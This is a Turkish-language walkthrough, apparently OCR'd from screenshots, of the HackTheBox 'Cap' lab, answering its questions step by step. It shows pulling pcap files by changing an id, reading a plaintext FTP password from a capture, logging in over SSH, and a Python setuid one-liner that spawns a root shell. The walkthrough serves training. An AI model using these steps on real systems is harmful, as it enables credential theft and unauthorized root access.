HTB CAP

Herkese merhaba bugtin Htb cap makinesinin ¢c6zimu
gerceklestirecegiz.

Oncelikle bu makinede baglandiktan sonra /etc/hosts/ ile baglanti
kurmuyoruz direk online bir makine.

ilk soru da kac tane portun acik oldugunu soruyor bunun icin hemen

bir nmap taramasi atiyoruz.

Cevap:3

ikinci soru icin cevabimiz cok kolay snapshot calistiktan sonra tarayici
da id den 6nce ne yazdigini soruyor.

1012912163 /data <+

Cevap:data

Dordiinci soru icin ise hangi pcap in hassas veri sakladigini soruyor.

Simdi buradaki amacimizin pcaplerin hepsini inceleyerek iceride sifre
vb gibi hassas veriler elde etmek. Bunun icin ise id kismini degistirerek
pcap dosyalarini indiriyoruz.



0 dan baslayalim.
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Source Destination Protocol Length Info
(VSFTPd 3.0.3)

than
Please specify the password.
Buck3tHATFORM3!

Login successful.

.432937 .168.196. 5 . Response: UNIX Type: L8
.309628 .168.196. .168.196. Request 192,168,196, 1,212,140
.309874 .168.196. .168.196. Response: 200 PORT command successful. Consider using PASV.
.310514 .168.196. i ¥ Request
.311053 .168.196. .168.196. Response: Here comes the directory listing.
.311479 .168.196. .168.196. Response: Directory send OK.
.380771 .168.196. A : Request 192,168,196,1,212,141
.380998 .168.196. : 5 Responst PORT command successful. Consider using PASV.
.381554 .168.196. .168.196. Request : -al
.382165 .168.196. .168.196. Responst Here comes the directory listing.
.382504 .168.196. . 5 Response: Directory send OK.
.031068 .168.196. .168.196. Request
61 28.031221 .168.196. .168.196. Responst Switching to Binary mode.
62 28.031547 .168.196. ¥ 2 Request 192,168,196, 1,212,143
Frame 36: 69 bytes on wire (552 bits), 6! captured (552 bits) ® 00 00 01 00 06 00 50 56 O
Linux cooked capture vi 0010 00 BBN35 Oe 24 40 00 80 06
Internet Protocol Version 4, Src: 192.168.196.1, Dst: 192.168.196.16 a8 c4 10 d4 8b 0 15
Transmission Control Protocol, Src Port: 54411, Dst Port: 21, Seq: 1, Ack: 21, Len: 13 © 18 10 0a 73 da 00 O
File Transfer Protocol (FTP) 61 6e od ea
[Current working director

® & File Transfer Protocol (FTP): Protocol Paketler: 72 - Displayed: 25 (34.7%) Profil: Default

Sansimiza ilk dosyadan hassas verileri bulmus oluyoruz.
Cevap4=0

Besinci soruda hassas veriler icin hangi protokol kullaniyor diye
sormus o da géztimuizin 6nlnde.

Cevap5=ftp

Altinci soru aslinda bizi yonlendiriyor simdi burada biz nathan in
sifresini ve kullanici adini bulduk aslinda soru da bize o bilgiler baska
nerde ise yariyor bizimde ssh baglantisi ile sizma yapabilecegimizi
bilmemiz gerekiyor ki ssh portu da acikti en basta o ylizden

Cevapb=ssh

Yedinci soru artik bizde user.txt istiyor. SSh baglantisi ile sizdiktan
sonrabir Is ile tarama yapiyoruz ve user.txt yi orda gortyoruz ve
yakaliyoruz.
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Sekizinci sou icin ise getcap -r / 2>/dev/null bu komut Sistemde
capability atanmis tiim binary’leri listeler. Bu komutu yazdiktan sonra
binaryimizi gortiyoruz.

Cevap8=/usr/bin/python3.8

Artik son sorudayiz bizden root flag isteniyor sunu gecen sorudan
biliyoruz ki bu binary ile root olabiliriz Python calistirarak ve uid=0
yaparak (root id si 0) flagi bulabiliriz. /usr/bin/python3.8 -c 'import os;
os.setuid(0); os.system("/bin/bash")' Bu kod ile root oluyoruz
sonrasinda flagi aliyoruz.
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